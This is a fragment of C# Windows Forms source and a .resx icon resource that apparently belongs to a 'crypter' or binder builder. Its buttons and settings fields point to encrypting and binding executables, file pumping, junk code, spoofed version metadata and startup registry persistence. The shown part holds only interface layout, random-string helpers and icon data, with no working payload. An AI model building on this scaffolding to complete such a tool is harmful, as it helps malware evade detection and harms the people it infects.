base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(33, 35, 38);
base.ClientSize = new System.Drawing.Size(658, 228);
base.Controls.Add(this.button6);
base.Controls.Add(this.button5);
base.Controls.Add(this.button3);
base.Controls.Add(this.CryptedState);
base.Controls.Add(this.OptionsButton);
base.Controls.Add(this.CryptButton);
base.Controls.Add(this.AssemblyButton);
base.Controls.Add(this.BindButton);
base.Controls.Add(this.button1);
base.Controls.Add(this.button2);
this.ForeColor = Color.White;
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
base.Icon = (System.Drawing.Icon)componentResourceManager.GetObject("$this.Icon");
this.MaximumSize = new System.Drawing.Size(658, 228);
base.Name = "Form1";
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = " ";
base.Load += new EventHandler(this.Form1_Load);
base.ResumeLayout(false);
base.PerformLayout();
}
private void OptionsButton_Click(object sender, EventArgs e)
{
this.op = new Options();
this.op.ShowDialog();
}
public string RandomNumber(int _length)
{
string str = "0123456789";
str = string.Concat(str, str.ToUpper());
string str1 = "";
Random random = new Random();
for (int i = 0; i < _length; i++)
{
char chr = str[random.Next(0, str.Length)];
str1 = string.Concat(str1, chr.ToString());
}
return str1;
}
private string RandomNumberarray(int _length)
{
string str = "0123456789";
string str1 = "";
Random random = new Random();
for (int i = 0; i < _length; i++)
{
char chr = str[random.Next(0, str.Length)];
str1 = string.Concat(str1, chr.ToString());
}
return str1;
}
public string RandomString(int length)
{
string str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890";
str = string.Concat(str, str.ToUpper());
string str1 = "";
Random random = new Random();
for (int i = 0; i < length; i++)
{
char chr = str[random.Next(0, str.Length)];
str1 = string.Concat(str1, chr.ToString());
}
return str1;
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
public class CID
{
public static string binding
{
get;
set;
}
public static bool BindReply
{
get;
set;
}
public static string company
{
get;
set;
}
public static string copyright
{
get;
set;
}
public static string delay
{
get;
set;
}
public static string description
{
get;
set;
}
public static string filename
{
get;
set;
}
public static bool fmreply
{
get;
set;
}
public static string FolderName
{
get;
set;
}
public static bool fpreply
{
get;
set;
}
public static string fversion
{
get;
set;
}
public static string iconame
{
get;
set;
}
public static string ijtype
{
get;
set;
}
public static string JunkScript
{
get;
set;
}
public static string Message
{
get;
set;
}
public static bool PDreply
{
get;
set;
}
public static string product
{
get;
set;
}
public static string RegistKey
{
get;
set;
}
public static string Sfilename
{
get;
set;
}
public static bool startupreply
{
get;
set;
}
public static string title
{
get;
set;
}
public static string Title
{
get;
set;
}
public static bool tmreply
{
get;
set;
}
public static string trademark
{
get;
set;
}
public static string txtPump
{
get;
set;
}
public static string version
{
get;
set;
}
public CID()
{
}
}
}
}
@@ -0,0 +1,791 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA
IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af//
/wH///8B////Af///wH///8b////nf///5v///8V////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///85////rf7+/iP+/v4p////sf///yv///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///85////o////wv///8B////Af///xH///+r////Kf///wH///8B////Af//
/wH///8B////Af///wH+/v4b/v7+rf7+/gv///8B////Af///wH///8B////E////7H///8P////Af//
/wH///8B////Af///wH///8B/v7+pf///x3///8B////Af///33///+H////Af///wH///8t/v7+l///
/wH///8B////Af///wH///8B/v7+S////2////8B////Af///wH///8n////K////wH///8B////Af//
/4H///87////Af///wH///8B////Af///6n+/v4L////Af///wH///8B/v7+Uf7+/lf///8B////Af//
/wH///8R////o////wH///8B////Af///yn///+H////Af///wH///8B////Af///4f///+T////Af//
/wH///8B////Af7+/pH+/v4f////Af///wH///9z////N////wH///8B////Af///wH///+H////k///
/wH///8B////Af///wH///9B////a////wH///8B////n////wn///8B////Af///wH///8B////h///
/5P///8B////Af///wH///8B////C////53///8B////Af///6X///8B////Af///wH///8B////Af//
/4f///+T////Af///wH///8B////Af///wH///+l////Af7+/gf+/v6f////Af///wH///8B////Af//
/wH///+H////k////wH///8B////Af///wH///8B////n/7+/gf///8L/v7+n////wP///8B////Af//
/wH///8B////D/7+/g////8B////Af///wH///8B////A////5////8J////Bf7+/o3///+n/v7+hf//
/yf///8B////Af///wH///8B////Af///wH///8n/v7+hf7+/qf///+N////Bf///wH///8B////Af7+
/in///+L////of///zH///8B////Af///zH///+h////if///yn///8B////Af///wH///8B////Af//
/wH///8B////Af///xf+/v6H/v7+qf///6n///+H////F////wH///8B////Af///wH///8BAAD//wAA
//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA
AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af7+/h////+d////mf///xn///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wX+/v5j////7f7+/s/////V////5f//
/1H///8D////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8P/v7+n/////P+/v59////Cf7+
/g3///+R////9f///4H///8H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////F////73+/v7j/v7+Qf//
/wH///8B////Af///wP///9d////7////53///8L////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///xf+/v7H/v7+0///
/yf///8B////Af///wH///8B////Af///wH+/v5B////6f///6P///8J////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8P////v///
/9P///8f////Af///wH///8B////Af///wH///8B////Af///wH///85////6f7+/pf///8D////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/6P////h/v7+Jf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH+/v5F////8///
/3X///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH+/v5p////9////z3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///9p////9////z3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////J/////H///9x////Af///wH///8B////Af///wH///8R////0////9X///8j////Af//
/wH///8B////Af///wH///+h////2/7+/g////8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wX///+7/v7+wf///wX///8B////Af///wH///8B////Af///xX////3/v7++///
/yv///8B////Af///wH///8B////Af///xH////h/v7+k////wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B/v7+Vf////X///8t////Af///wH///8B////Af///wH///8B////C///
/4////+R/v7+Ff///wH///8B////Af///wH///8B////Af7+/lH////1/v7+M////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wn////P////l////wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Bf7+/r3///+x/v7+A///
/wH///8B////Af///wH///8B////Af///wH///8B////U/////P///8l////Af///wH///8B////Af//
/wH///8B////Af///wP///8x/v7+M////wf///8B////Af///wH///8B////Af///wH///8B////P///
//X///83////Af///wH///8B////Af///wH///8B////Af///wP///+7/v7+pf///wP///8B////Af//
/wH///8B////Af///wH///8B////Ff////f////7////Kf///wH///8B////Af///wH///8B////Af//
/wH///8F////wf///5////8B////Af///wH///8B////Af///wH///8B////Kf////X///9B////Af//
/wH///8B////Af///wH///8B////Af///wH///8V////9/7+/vv///8r////Af///wH///8B////Af//
/wH///8B////Af///wH///9b/v7+7f7+/hn///8B////Af///wH///8B////Af///wH///93////2f//
/wv///8B////Af///wH///8B////Af///wH///8B////Af///xX////3/v7++////yv///8B////Af//
/wH///8B////Af///wH///8B////Af7+/hP////p////Yf///wH///8B////Af///wH///8B/v7+A///
/8H///+R////Af///wH///8B////Af///wH///8B////Af///wH///8B////Ff////f+/v77////K///
/wH///8B////Af///wH///8B////Af///wH///8B////Af///6X+/v6x////Af///wH///8B////Af//
/wH+/v4X////7////0v///8B////Af///wH///8B////Af///wH///8B////Af///wH///8V////9/7+
/vv///8r////Af///wH///8B////Af///wH///8B////Af///wH///8B////W////+f+/v4R////Af//
/wH///8B////Af///0X////x/v7+G////wH///8B////Af///wH///8B////Af///wH///8B////Af//
/xX////3/v7++////yv///8B////Af///wH///8B////Af///wH///8B////Af///wH+/v4j/v7+9f//
/zn///8B////Af///wH///8B////d////9P///8F////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Ff////f+/v77////K////wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wf+/v7Z////bf///wH///8B////Af///wH///+j////qf///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8V////9/7+/vv///8r////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///7H///+b////Af///wH///8B////A////8X+/v6D////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///xX////3/v7++////yv///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////if///8H///8B////Af///wH///8J////2////2f///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Ff////f+/v77////K////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///9r////1////wn///8B////Af///w/////r////T///
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8V////9/7+/vv///8r////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///1P////p/v7+Df///wH///8B////E///
//f///8/////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af7+/gP///81////Nf//
/wf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B/v7+Qf////X///8R////Af//
/wH///8T////+////0f///8F////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wX///9J////+///
/xP///8B////Af///xP////r////9////83///+L////Pf///wv///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////C////z3+/v6L////zf//
//f////r////E////wH///8B////Af///xX///9B////gf///8f////1////2f///33///8h////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////If///33+/v7Z////9f7+
/sf///9/////Qf///xX///8B////Af///wH///8B////Af///wH///8B/v7+A////yn///97////2f//
//H///+d/v7+Lf///wH///8B////Af///wH///8B////Af///wH///8B////Lf///53////x////2f7+
/nv+/v4n////A////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8L////U////8n////z/v7+nf///yX///8B////Af///wH///8B/v7+J////5/+/v7z////yf//
/1P///8L////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B/v7+B////1H////N////8/7+/qX///9Z////Wf///6X////z////zf//
/0/+/v4H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wf///9R/v7+tf////P////z////tf7+
/lH+/v4H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///xv///+N////i////xX///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8L/v7+a////+n+/v7//v7+/////+P+/v5Z////B////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af7+/if///+1/v7+/f7+/vX///+d////qf7+/vf////7////nf//
/xf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH+/v4F////Uf7+/t/////9/v7+z////0X+/v4D////A/7+
/ln////f/////////8X///8v////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wn///9t////8f////f///+d/v7+F///
/wH///8B////Af///wH///8p////vf////3+/v7d////Rf///wP///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B/v7+Cf7+/oP+/v75/v7+7///
/3H///8H////Af///wH///8B////Af///wH///8B/v7+E/7+/p3+/v77/v7+6f7+/lH///8D////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH+/v4J/v7+jf//
//n////l/v7+Uf///wX///8B////Af///wH///8B////Af///wH///8B////Af7+/gv///+B/v7+9/7+
/uv+/v5V/v7+A////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wX+/v6D/v7++/7+/uP///9J////A////wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8H/v7+ef////f////t////S////wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////A/7+/nP////5////5////0P///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////B////3f////5/v7+5////zn///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////S/7+/vf+/v7z////Uf///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wf///+P/////f///93///8d////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8h////6f7+/vv+/v5r////A////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8J////q/7+
/v/+/v67////Bf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wf////H//////7+/pn///8D////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Ff///9P/////////g////wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///3v+/v79/v7+y/7+
/gv///8B////Af///wH///8B////Af///wH///8B////Af7+/m3////H////x////4n///8B////Af//
/wH///8B////Af///wH///8B////Af///zH+/v7v/v7++f///z3///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B/v7+M/7+
/vH////3////Mf///wH///8B////Af///wH///8B////Af///wH///8B////Af///5X//////v7+////
/7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///9t/////////8/+/v4P////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8J/v7+v/7+/v////99////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/5X//////v7+/////7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8F////v///
//3+/v6H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///9f////+f///8////8N////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af7+/nf////Z////2f///5X///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Lf////H////t////Mf///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///xP////R////+////0////8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wP///8H/v7+B////wP///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B/v7+A////4f+/v7/////pf///wX///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///2n+/v77/v7+u////wn///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///xv////j/v7+8f///z3///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Ef///8v////7/v7+Sf//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wP///93/v7+//7+
/qX///8F////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////U///
//n////B/v7+Df///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/3H////N/v7+zf///43///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH+/v4d////4/7+/u3///8x////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8F/v7+sf/////+/v5f////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///5X//////////////7n///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8D////i/////////+J////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8r////6////93+/v4b////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///5X//////v7+/////7n///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////L/////P+/v7X/v7+Gf///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH+/v5z/v7+/////5f+/v4D////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///5X+/v7//v7+/////7n///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B/v7+Cf///7f+/v79/v7+Uf//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wn///+9/v7++////0P///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///5X/////////////
/7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/2H/////////pf///wP///8B////Af///wH///8B////Af///wH///8B////Af///yf////t////1///
/xf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/5X//////////////7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///yX////p////2/7+/hv///8B////Af///wH///8B////Af///wH///8B////Af7+
/l3/////////n////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///5X+/v7//v7+//7+/rn///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wf+/v63/////f///0X///8B////Af///wH///8B////Af//
/wH///8B////Af///5v+/v7/////X////wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///5X//////////////7n///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///93//////7+/oX///8B////Af//
/wH///8B////Af///wH///8B////D////8v+/v7v////L////wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///5X//////////////7n///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///89////9///
/73///8J////Af///wH///8B////Af///wH///8B////If///+3////V/v7+E////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///5X//////v7+////
/7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH+/v4d////3f///+H///8b////Af///wH///8B////Af///wH///8B////Qf7+/v/+/v6z////A///
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/5X//////v7+/////7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8F/v7+v/////3///81////Af///wH///8B////Af///wH///8B////af//
//////+J////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af7+/pX//////v7+/////7n///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B/v7+k//////+/v5f////Af///wH///8B////Af//
/wH///8B/v7+kf7+/v/+/v5f////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af7+/pX//////////////7n///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B/v7+a/7+/v////+H////Af//
/wH///8B////Af///wH///8F////r/////n///9B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///5X//////////////7n///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B/v7+R///
//3///+p/v7+A////wH///8B////Af///wH+/v4L/v7+w////+/+/v4x////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///5X//////v7+////
/7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B/v7+Nf////H///+/////Cf///wH///8B////Af///wH///8R/v7+1////+P///8h////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/5X+/v7//v7+/////7n///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B/v7+Jf7+/uX////T////Ef///wH///8B////Af///wH+/v4X/v7+4///
/93+/v4X////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af7+/pX//////////////7n///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Gf///93////h/v7+Ff///wH///8B////Af//
/wH///8b////8f///9X///8N////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///yf///9T////U////zP///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////D////9f////t////Gf//
/wH///8B////Af///wH///8d////9////9H///8H////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////B///
/9H////1////Hf///wH///8B////Af///wH///8d/v7++f///9f///8f/v7+C////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH+/v4L////If///9f+/v75/v7+Hf///wH///8B////Af///wH///8f/v7+/f/////////v/v7+wf7+
/of///9B////F////wP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wP+/v4X////Qf///4f////B////7//////////9/v7+H////wH///8B////Af///wH+/v4N////c///
/6/////Z/v7+8/7+/v/+/v79////1////5f///9B////D////wH///8B////Af///wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8P////Qf///5n+/v7Z/v7+/f7+/v/////z////2f7+/q////9z////C////wH///8B////Af//
/wH///8B////Af///wH///8T/v7+O////3X+/v67////6//////////7/v7+yf7+/mv///8f////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////H////2v////J////+//////////r////u////3X///87////E////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH+/v4H////K////3P////F/v7++f//
//3////f////i////yn///8D////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
/wH///8B////A/7+/in+/v6L////3//////////5////xf///3H///8r////B////wH///8B////Af//
/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
